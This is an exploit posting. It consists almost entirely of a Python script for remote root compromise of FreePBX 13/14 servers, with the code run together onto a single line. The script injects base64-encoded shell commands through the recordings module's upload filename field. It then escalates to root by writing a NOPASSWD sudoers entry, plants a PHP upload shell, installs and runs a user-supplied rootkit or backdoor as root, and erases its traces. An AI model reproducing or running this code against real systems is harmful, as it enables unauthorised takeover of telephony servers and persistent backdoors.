FreePBX 13 / 14 Remote Command Execution
Posted on 13 August 2016
#!/usr/bin/env python # -*- coding, latin-1 -*- ###################################################### # # # DESCRIPTION # # FreePBX 13 remote root 0day - Found and exploited by pgt @ nullsecurity.net # # # # AUTHOR # # pgt - nullsecurity.net # # # # DATE # # 8-12-2016 # # # # VERSION # # freepbx0day.py 0.1 # # # # AFFECTED VERSIONS # # FreePBX 13 & 14 (System Recordings Module versions: 13.0.1beta1 - 13.0.26) # # # # STATUS # # Fixed 08-10-2016 - http://issues.freepbx.org/browse/FREEPBX-12908 # # # # TESTED AGAINST # # * http://downloads.freepbxdistro.org/ISO/FreePBX-64bit-10.13.66.iso # # * http://downloads.freepbxdistro.org/ISO/FreePBX-32bit-10.13.66.iso # # # # TODO # # * SSL support (priv8) # # * parameter for TCP port # # # # HINT # # Base64 Badchars: '+', '/', '=' # # # ################################################################################ ''' Successful exploitation should looks like: [*] enum FreePBX version [+] target running FreePBX 13 [*] checking if target is vulnerable [+] target seems to be vulnerable [*] getting kernel version [!] Kernel: Linux localhost.localdomain 2.6.32-504.8.1.el6.x86_64 .... [+] Linux x86_64 platform [*] adding 'echo "asterisk ALL=(ALL) NOPASSWD:...' to freepbx_engine [*] triggering incrond to gaining root permissions via sudo [*] waiting 20 seconds while incrond restarts applications - /_!_ VERY LOUD! [*] removing 'echo "asterisk ALL=(ALL) NOPASSWD:...' from freepbx_engine [*] checking if we gained root permissions [!] w00tw00t w3 r r00t - uid=0(root) gid=0(root) groups=0(root) [+] adding view.php to admin/.htaccess [*] creating upload script: admin/libraries/view.php [*] uploading ${YOUR_ROOTKIT} to /tmp/23 via admin/libraries/view.php [*] removing view.php from admin/.htaccess [*] rm -f admin/libraries/view.php [!] execute: chmod +x /tmp/23; sudo /tmp/23 & sleep 0.1; rm -f /tmp/23 [*] removing 'asterisk ALL=(ALL) NOPASSWD:ALL' from /etc/sudoers [*] removing all temp files [!] have fun and HACK THE PLANET! ''' import base64 import httplib import optparse import re from socket import * import sys import time BANNER = ''' 33[0;31m ################################################################################ #___________ ________________________ ___ ____________ # #\_ _____/______ ____ ____\______ \______ / / /_ \_____ # # | __) \_ __ \_/ __ \_/ __ | ___/| | _/ / | | _(__ < # # | | | / ___/ ___/| | | | / | |/ # # \___ / |__| \___ >\___ >____| |______ /___/ |___/______ / # # / / / / \_/ / # # _______ .___ # # _ __| _/____ ___.__. * Remote Root 0-Day # # / /_ ______ / __ |\__ < | | # # \_/ /_____/ / /_/ | / __ \___ | # # \_____ / \____ |(____ / ____| # # / / // # # # # * Remote Command Execution Exploit (FreePBX 14 is affected also) # # * Local Root Exploit (probably FreePBX 14 is also exploitable) # # * Backdoor Upload + Execute As Root # # # # * Author: pgt - nullsecurity.net # # * Version: 0.1 # # # ################################################################################ 33[0;m''' def argspage(): parser = optparse.OptionParser() parser.add_option('-u', default=False, metavar='<url>', help='ip/url to exploit') parser.add_option('-r', default=False, metavar='<file>', help='Linux 32bit bd/rootkit') parser.add_option('-R', default=False, metavar='<file>', help='Linux 64bit bd/rootkit') parser.add_option('-a', default='/', metavar='<path>', help='FreePBX path - default: '/'') args, args2 = parser.parse_args() if (args.u == False) or (args.r == False) or (args.R == False): print '' parser.print_help() print ' ' exit(0) return args def cleanup_fe(): print '[*] removing 'echo "asterisk ALL=(ALL) NOPASSWD:...' '' from freepbx_engine' cmd = 'sed -i -- ' /echo "asterisk ALL=(ALL) NOPASSWD:ALL">>' '/etc/sudoers/d' /var/lib/asterisk/bin/freepbx_engine' command_execution(cmd) return def cleanup_lr(): print '[*] removing 'echo "asterisk ALL=(ALL) NOPASSWD:...' '' from launch-restapps' cmd = 'sed -i -- ':r;$!{N;br};s/\necho "asterisk.*//g' ' 'modules/restapps/launch-restapps.sh' command_execution(cmd) return def cleanup_htaccess(): print '[*] removing view.php from admin/.htaccess' cmd = 'sed -i -- 's/config\\.php|view\\.php|ajax\\.php/' 'config\\.php|ajax\\.php/g' .htaccess' command_execution(cmd) return def cleanup_view_php(): print '[*] rm -f admin/libraries/view.php' cmd = 'rm -f libraries/view.php' command_execution(cmd) return def cleanup_sudoers(): print '[*] removing 'asterisk ALL=(ALL) NOPASSWD:ALL' from /etc/sudoers' cmd = 'sudo sed -i -- '/asterisk ALL=(ALL) NOPASSWD:ALL/d' /etc/sudoers' command_execution(cmd) return def cleanup_tmpfiles(): print '[*] removing all temp files' cmd = 'find / -name *w00t* -exec rm -f {} ; 2> /dev/null' command_execution(cmd) return def check_platform(response): if (response.find('Linux') != -1) and (response.find('x86_64') != -1): print '[+] Linux x86_64 platform' return '64' elif (response.find('Linux') != -1) and (response.find('i686') != -1): print '[+] Linux i686 platform' cleanup_tmpfiles() sys.exit(1) return '32' else: print '[-] adjust check_platform() when you want to backdoor ' 'other platforms' cleanup_tmpfiles() sys.exit(1) def check_kernel(response): if response.find('w00t') != -1: start = response.find('w00t') + 4 end = response.find('w00tw00t') - 1 print '[!] Kernel: %s' % (response[start:end].replace('\', '')) return check_platform(response[start:end]) def check_root(response): if response.find('uid=0(root)') != -1: start = response.find('w00t') + 4 end = response.find('w00tw00t') - 2 print '[!] w00tw00t w3 r r00t - %s' % (response[start:end]) return else: print '[-] we are not root :(' cleanup_fe() cleanup_lr() cleanup_tmpfiles() sys.exit(1) def build_request(filename): body = 'file=%s&name=a&codec=gsm&lang=ru&temporary=1' '&command=convert&module=recordings' % (filename) content_type = 'application/x-www-form-urlencoded; charset=UTF-8' return content_type, body def filter_filename(response): start = response.find('localfilename":"w00t') + 16 end = response.find('.wav') + 4 return response[start:end] def post(path, content_type, body): h = httplib.HTTP(ARGS.u) h.putrequest('POST', '%s%s' % (ARGS.a, path)) h.putheader('Host' , '%s' % (ARGS.u)) h.putheader('Referer' , 'http://%s/' % (ARGS.u)) h.putheader('Content-Type', content_type) h.putheader('Content-Length', str(len(body))) h.endheaders() h.send(body) errcode, errmsg, headers = h.getreply() return h.file.read() def encode_multipart_formdata(fields, filename=None): LIMIT = '----------lImIt_of_THE_fIle_eW_$' CRLF = ' ' L = [] L.append('--' + LIMIT) if fields: for (key, value) in fields.items(): L.append('Content-Disposition: form-data; name="%s"' % key) L.append('') L.append(value) L.append('--' + LIMIT) if filename == None: L.append('Content-Disposition: form-data; name="file"; filename="dasd"') L.append('Content-Type: audio/mpeg') L.append('') L.append('da') else: L.append('Content-Disposition: form-data; name="file"; filename="dasd"') L.append('Content-Type: application/octet-stream') L.append('') L.append(open_file(filename)) L.append('--' + LIMIT + '--') L.append('') body = CRLF.join(L) content_type = 'multipart/form-data; boundary=%s' % (LIMIT) return content_type, body def create_fields(payload): fields = {'id': '1', 'name': 'aaaa', 'extension': '0', 'language': 'ru', 'systemrecording': '', 'filename': 'w00t%s' % (payload)} return fields def command_execution(cmd): upload_path = 'admin/ajax.php?module=recordings&command=' 'savebrowserrecording' cmd = base64.b64encode(cmd) payload = '`echo %s | base64 -d | sh`' % (cmd) fields = create_fields(payload) content_type, body = encode_multipart_formdata(fields) response = post(upload_path, content_type, body) filename = filter_filename(response) content_type, body = build_request(filename) return post('admin/ajax.php', content_type, body) def check_vuln(): h = httplib.HTTP(ARGS.u) h.putrequest('GET', '%sadmin/ajax.php' % (ARGS.a)) h.putheader('Host' , '%s' % (ARGS.u)) h.endheaders() errcode, errmsg, headers = h.getreply() response = h.file.read() if response.find('{"error":"ajaxRequest declined - Referrer"}') == -1: print '[-] target seems not to be vulnerable' sys.exit(1) upload_path = 'admin/ajax.php?module=recordings&command' '=savebrowserrecording' payload = 'w00tw00t' fields = create_fields(payload) content_type, body = encode_multipart_formdata(fields) response = post(upload_path, content_type, body) if response.find('localfilename":"w00tw00tw00t') != -1: print '[+] target seems to be vulnerable' return else: print '[-] target seems not to be vulnerable' sys.exit(1) def open_file(filename): try: f = open(filename, 'rb') file_content = f.read() f.close() return file_content except IOError: print '[-] %s does not exists!' % (filename) sys.exit(1) def version13(): print '[*] checking if target is vulnerable' check_vuln() print '[*] getting kernel version' cmd = 'uname -a; echo w00tw00t' response = command_execution(cmd) result = check_kernel(response) if result == '64': backdoor = ARGS.R elif result == '32': backdoor = ARGS.r print '[*] adding 'echo "asterisk ALL=(ALL) NOPASSWD:...' ' 'to freepbx_engine' cmd = 'sed -i -- 's/Com Inc./Com Inc.\necho "asterisk ALL=(ALL) ' 'NOPASSWD:ALL">>/etc/sudoers/g' /var/lib/' 'asterisk/bin/freepbx_engine' command_execution(cmd) print '[*] triggering incrond to gaining root permissions via sudo' cmd = 'echo a > /var/spool/asterisk/sysadmin/amportal_restart' command_execution(cmd) print '[*] waiting 20 seconds while incrond restarts applications' ' - /_!_\ VERY LOUD!' time.sleep(20) cleanup_fe() #cleanup_lr() print '[*] checking if we gained root permissions' cmd = 'sudo -n id; echo w00tw00t' response = command_execution(cmd) check_root(response) print '[+] adding view.php to admin/.htaccess' cmd = 'sed -i -- 's/config\\.php|ajax\\.php/' 'config\\.php|view\\.php|ajax\\.php/g' .htaccess' command_execution(cmd) print '[*] creating upload script: admin/libraries/view.php' cmd = 'echo '<?php move_uploaded_file($_FILES["file"]' '["tmp_name"], "/tmp/23");?>' > libraries/view.php' command_execution(cmd) print '[*] uploading %s to /tmp/23 via ' 'admin/libraries/view.php' % (backdoor) content_type, body = encode_multipart_formdata(False, backdoor) post('admin/libraries/view.php', content_type, body) cleanup_htaccess() cleanup_view_php() print '[!] execute: chmod +x /tmp/23; sudo /tmp/23 & sleep 0.1;' ' rm -f /tmp/23' cmd = 'chmod +x /tmp/23; sudo /tmp/23 & sleep 0.1; rm -f /tmp/23' setdefaulttimeout(5) try: command_execution(cmd) except timeout: ''' l4zY w0rk ''' setdefaulttimeout(20) try: cleanup_sudoers() cleanup_tmpfiles() except timeout: cleanup_tmpfiles() return def enum_version(): h = httplib.HTTP(ARGS.u) h.putrequest('GET', '%sadmin/config.php' % (ARGS.a)) h.putheader('Host' , '%s' % (ARGS.u)) h.endheaders() errcode, errmsg, headers = h.getreply() response = h.file.read() if response.find('FreePBX 13') != -1: print '[+] target running FreePBX 13' return 13 else: print '[-] target is not running FreePBX 13' return False def checktarget(): if re.match(r'^[0-9.-]*$', ARGS.u): target = ARGS.u else: try: target = gethostbyname(ARGS.u) except gaierror: print '[-] '%s' is unreachable' % (ARGS.u) sock = socket(AF_INET, SOCK_STREAM) sock.settimeout(5) result = sock.connect_ex((target, 80)) sock.close() if result != 0: '[-] '%s' is unreachable' % (ARGS.u) sys.exit(1) return def main(): print BANNER checktarget() open_file(ARGS.r) open_file(ARGS.R) print '[*] enum FreePBX version' result = enum_version() if result == 13: version13() print '[!] have fun and HACK THE PLANET!' return if __name__ == '__main__': ARGS = argspage() try: main() except KeyboardInterrupt: print ' bye bye!!!' time.sleep(0.01) sys.exit(1) #EOF
